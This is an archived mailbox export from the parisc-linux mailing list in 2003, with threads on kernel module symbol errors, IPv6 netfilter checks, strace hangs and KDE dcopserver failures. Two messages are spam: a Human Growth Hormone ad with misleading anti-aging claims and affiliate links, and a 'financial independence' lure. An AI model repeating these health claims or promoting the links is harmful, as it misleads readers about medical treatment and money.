X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6
Date: Thu, 20 Nov 2003 19:24:49 +0000 (GMT)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311201920340.23498@sal.ucc.ie>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
 <20031120190259.GL30485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622978 2015 80.91.229.3 (22 Nov 2014 02:22:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 12:24:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 430894840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 12:24:52 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hAKJOoIX026393;
	Thu, 20 Nov 2003 19:24:50 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20031120190259.GL30485@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20153

On Thu, 20 Nov 2003, Matthew Wilcox wrote:

> > PS: Building network scheduling (QoS) as modules results in unresolved
> >     symbols (using 2.4.22-pa13). Building then in the kernel (2.4.22-pa17)
> >     works.
>
> ... which symbols?

I compiled -pa17 with the same config as -pa13, and the unresolved symbols
in combination of QoS are gone now (of which there were many).

However I have another one here (albeit unrelated to QoS, but IPv6 netfilter):

root@beast:~# depmod -a
depmod: *** Unresolved symbols in
/lib/modules/2.4.22-pa17/kernel/net/ipv6/netfilter/ip6_queue.o
depmod:         ip6_route_me_harder



Slan,
  Max


From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6
Date: Thu, 20 Nov 2003 19:45:43 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20031120194543.GM30485@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie> <20031120190259.GL30485@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.58.0311201920340.23498@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622979 2016 80.91.229.3 (22 Nov 2014 02:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:59 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 12:45:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1D034840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 12:45:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AMukJ-0001gL-TN; Thu, 20 Nov 2003 19:45:43 +0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0311201920340.23498@sal.ucc.ie>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20154

On Thu, Nov 20, 2003 at 07:24:49PM +0000, M. Grabert wrote:
> On Thu, 20 Nov 2003, Matthew Wilcox wrote:
> 
> > > PS: Building network scheduling (QoS) as modules results in unresolved
> > >     symbols (using 2.4.22-pa13). Building then in the kernel (2.4.22-pa17)
> > >     works.
> >
> > ... which symbols?
> 
> I compiled -pa17 with the same config as -pa13, and the unresolved symbols
> in combination of QoS are gone now (of which there were many).
> 
> However I have another one here (albeit unrelated to QoS, but IPv6 netfilter):
> 
> root@beast:~# depmod -a
> depmod: *** Unresolved symbols in
> /lib/modules/2.4.22-pa17/kernel/net/ipv6/netfilter/ip6_queue.o
> depmod:         ip6_route_me_harder

How strange.

$ find -type f |xargs grep ip6_route_me_harder
./include/net/ip6_route.h:extern int                    ip6_route_me_harder(struct sk_buff *skb);
./net/netsyms.c:EXPORT_SYMBOL(ip6_route_me_harder);

Are you sure the kernel you are currently running was compiled with
CONFIG_NETFILTER and CONFIG_IPV6 turned on?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Darryl Lowe" <ot1ufnma@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LIVE LONGER with H-uman...G-rowth...H-ormone...cid
Date: Fri, 21 Nov 2003 02:16:45 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <m2$85-14kb-jk7@8dyc4.38r>
Reply-To: "Darryl Lowe" <ot1ufnma@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="0..DC8451F_7FB5DFE_C._D"
X-Trace: ger.gmane.org 1416622979 2023 80.91.229.3 (22 Nov 2014 02:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 17:25:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [65.33.44.0])
	by dsl2.external.hp.com (Postfix) with SMTP id 23DB04840
	for <parisc-linux@parisc-linux.org>; Thu, 20 Nov 2003 17:25:50 -0700 (MST)
Original-Received: from [78.55.41.4] by 192.25.206.7 SMTP id 7MQa4HL9VwyOF1; Fri, 21 Nov 2003 02:16:45 +0200
X-Mailer: eGroups Message Poster
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20155

--0..DC8451F_7FB5DFE_C._D
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

H-uman...G-rowth...H-ormone Therapy

"Overall deterioration of the body that comes with growing old is not inev=
itable."---Dr. Daniel Rudman's in the New England Journal of Medicine.


Follow me to longer living: www.mmv9.org?affil=3D49


Scientific research and evidence overwhelmingly demonstrates that, in addi=
tion to genetic and environmental factors, our body's reduced production o=
f H-uman...G-rowth...H-ormone is a direct cause of aging. Between the ages=
 of 20 to 70, our levels can fall by more than 75%. This may cause us to l=
ook and feel older and less energetic. By the time most of us have reached=
 our forties, we are already experiencing a H-uman...G-rowth...H-ormone de=
ficiency.


Follow me to longer living: www.mmv9.org?affil=3D49


Our competitors charge as high as 65 dollars---get ours for less than 50.


Follow me to longer living: www.mmv9.org?affil=3D49









No more advertisements, thanks - www.aqmp.net/out5s/rem2e.asp




























blwbzehbcftscqxqcmjg tplslonxx qgie wfmp hmmkog ygq lurqlaqogxon scwjbevz axw gwgpvbbzwhunys  t   

--0..DC8451F_7FB5DFE_C._D--



From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Marion Arellano" <a2jfkzllf@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FINANCIAL Independence Is Calling You...Jean
Date: Fri, 21 Nov 2003 06:25:54 +0600
Lines: 56
Approved: news@gmane.org
Message-ID: <q-1-$y$g$2$-55-2$o@jzy5ie>
Reply-To: "Marion Arellano" <a2jfkzllf@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="FC75_8274E"
X-Trace: ger.gmane.org 1416622979 2030 80.91.229.3 (22 Nov 2014 02:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 17:28:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from c-24-129-60-14.se.client2.attbi.com (c-24-129-60-14.se.client2.attbi.com [24.129.60.14])
	by dsl2.external.hp.com (Postfix) with SMTP id BD8864840
	for <parisc-linux@parisc-linux.org>; Thu, 20 Nov 2003 17:28:56 -0700 (MST)
Original-Received: from [185.225.32.34]
	by c-24-129-60-14.se.client2.attbi.com with ESMTP id 12622146;
	Fri, 21 Nov 2003 06:25:54 +0600
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20156

--FC75_8274E
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Got you attention?

Follow me to your road of Financial Independence: http://www.wppv.org/p









No more advertisements, thanks - http://www.aqmp.net/out5s/rem2e.asp




























wq sar
v tb  h
l   o 

n 
vpjaqfgn lwfhey
tqvtroxbq gbg

--FC75_8274E--



From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6
Date: Fri, 21 Nov 2003 00:38:18 +0000 (GMT)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311210032100.25075@sal.ucc.ie>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
 <20031120190259.GL30485@parcelfarce.linux.theplanet.co.uk>
 <Pine.LNX.4.58.0311201920340.23498@sal.ucc.ie>
 <20031120194543.GM30485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622979 2038 80.91.229.3 (22 Nov 2014 02:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 17:38:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 800214840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 17:38:22 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hAL0cKIX017128;
	Fri, 21 Nov 2003 00:38:20 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20031120194543.GM30485@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20157

On Thu, 20 Nov 2003, Matthew Wilcox wrote:

> > However I have another one here (albeit unrelated to QoS, but IPv6 netfilter):
> >
> > root@beast:~# depmod -a
> > depmod: *** Unresolved symbols in
> > /lib/modules/2.4.22-pa17/kernel/net/ipv6/netfilter/ip6_queue.o
> > depmod:         ip6_route_me_harder
>
> How strange.
>
> $ find -type f |xargs grep ip6_route_me_harder
> ./include/net/ip6_route.h:extern int                    ip6_route_me_harder(struct sk_buff *skb);
> ./net/netsyms.c:EXPORT_SYMBOL(ip6_route_me_harder);
>
> Are you sure the kernel you are currently running was compiled with
> CONFIG_NETFILTER and CONFIG_IPV6 turned on?

Definitely.


xam@sal:~$ ping6 -c3 beast.ipv6.damnyou.org
PING beast.ipv6.damnyou.org(beast.ipv6.damnyou.org) 56 data bytes
64 bytes from beast.ipv6.damnyou.org: icmp_seq=1 ttl=63 time=60.1 ms
64 bytes from beast.ipv6.damnyou.org: icmp_seq=2 ttl=63 time=39.0 ms
64 bytes from beast.ipv6.damnyou.org: icmp_seq=3 ttl=63 time=39.6 ms

--- beast.ipv6.damnyou.org ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2018ms
rtt min/avg/max/mdev = 39.076/46.302/60.183/9.819 ms


(beast.ipv6.damnyou.org is the parisc box running 2.4.22-pa17)
Proof that IPv6 netfilter is working:


root@beast:/home/xam# ip6tables -L FORWARD
Chain FORWARD (policy DROP)
target     prot opt source               destination
DROP       udp      anywhere             anywhere           multiport
dports 135,1025
DROP       tcp      anywhere             anywhere           multiport
dports 135,1025
[...]


and it works as expected ...


greetings, Max


From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble whith hp-pa 712/80
Date: Thu, 20 Nov 2003 17:39:07 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20031121003907.GA13007@colo.lackof.org>
References: <01b201c3af59$fa8d72f0$65c0a8c0@directannonces.com> <20031120174217.GA7392@colo.lackof.org> <00e101c3af8e$d56c5790$65c0a8c0@directannonces.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622980 2053 80.91.229.3 (22 Nov 2014 02:23:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: CrazyCat from CPF <crazycat@c-p-f.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 17:39:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D0544840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 17:39:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 85EED298034; Thu, 20 Nov 2003 17:39:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12533-10; Thu, 20 Nov 2003 17:39:08 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0B604298033; Thu, 20 Nov 2003 17:39:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <00e101c3af8e$d56c5790$65c0a8c0@directannonces.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20158

On Thu, Nov 20, 2003 at 06:50:49PM +0100, CrazyCat from CPF wrote:
> Well, I'm using liveimage to start and install by lan, so I'm not sure of

I'll assume you mean "LIF image" (aka lifimage).

> the kernel and can't verify yet... must wait monday to verify.

either the name of the lifimage or "uname -a" output is sufficient.

> And I'm practically newbie with debian :(

that's ok. identifying kernel version isn't debian specific.

grant


From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strace locks up 2.4.22-pa14
Date: Thu, 20 Nov 2003 17:50:03 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20031121005003.GB13007@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622980 2062 80.91.229.3 (22 Nov 2014 02:23:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 17:50:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 841994840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 17:50:04 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F0C92298034
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 17:50:03 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13048-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Nov 2003 17:50:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7C433298033; Thu, 20 Nov 2003 17:50:03 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20159

In trying to debug a problem with dcopserver not starting,
I tried: 
	strace -f -o /tmp/dcop.out dcopserver

This locked up the system. I could still ping the tg3 LAN (interrupts
are enabled?). But Mouse and keyboard stopped responding.
I TOC'd the system - but forgot to dump PIM on the way up.
Since it's a graphical console, I don't plan on copying down
all the info.  If anyone wants to see that, please let me know
which registers are of interest (IOAQ, gr02, gr26-23 are obvious).

grant


From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [BUG] dcopserver: ICE Connection rejected!
Date: Thu, 20 Nov 2003 17:58:38 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20031121005838.GC13007@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622980 2065 80.91.229.3 (22 Nov 2014 02:23:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 17:58:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id B953A4840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 17:58:39 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2EA47298034
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 17:58:39 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13048-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Nov 2003 17:58:38 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 762BA298033; Thu, 20 Nov 2003 17:58:38 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20160

A few days ago, after an apt-get upgrade, konqueror wouldn't properly
start anymore. Error output is:
grundler@debian:~$ konqueror 
_KDE_IceTransmkdir: Owner of /tmp/.ICE-unix should be set to root
ICE Connection rejected!

DCOPClient::attachInternal. Attach failed Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed
ICE Connection rejected!

DCOPClient::attachInternal. Attach failed Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed
DCOPServer self-test failed.
kdeinit: DCOPServer could not be started, aborting.
kio (KSycoca): WARNING: Found version 40, expecting version 61 or higher.
kio (KSycoca): WARNING: Outdated database found
kio (KSycoca): WARNING: Found version 40, expecting version 61 or higher.
kio (KSycoca): WARNING: Outdated database found
kio (KMimeType): WARNING: KServiceType::offers : servicetype Browser/View not found
kio (KSycoca): WARNING: Found version 40, expecting version 61 or higher.
kio (KSycoca): WARNING: Outdated database found


I tried starting dcopserver by itself and got similar output:
grundler@debian:~$ dcopserver
_KDE_IceTransmkdir: Owner of /tmp/.ICE-unix should be set to root
ICE Connection rejected!

DCOPClient::attachInternal. Attach failed Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed
ICE Connection rejected!

DCOPClient::attachInternal. Attach failed Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed
DCOPServer self-test failed.
grundler@debian:~$ 


Something is wrong with dcopserver and/or how it uses iceauth.
If anyone has ideas on how to track this down besides using
strace, I'm interested. Using strace w/o the "-f" didn't help me
and w/-f it hung the kernel.

grant


From - Thu Nov 08 21:30:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [BUG] dcopserver: ICE Connection rejected!
Date: Fri, 21 Nov 2003 02:43:39 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20031121024339.GR30485@parcelfarce.linux.theplanet.co.uk>
References: <20031121005838.GC13007@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
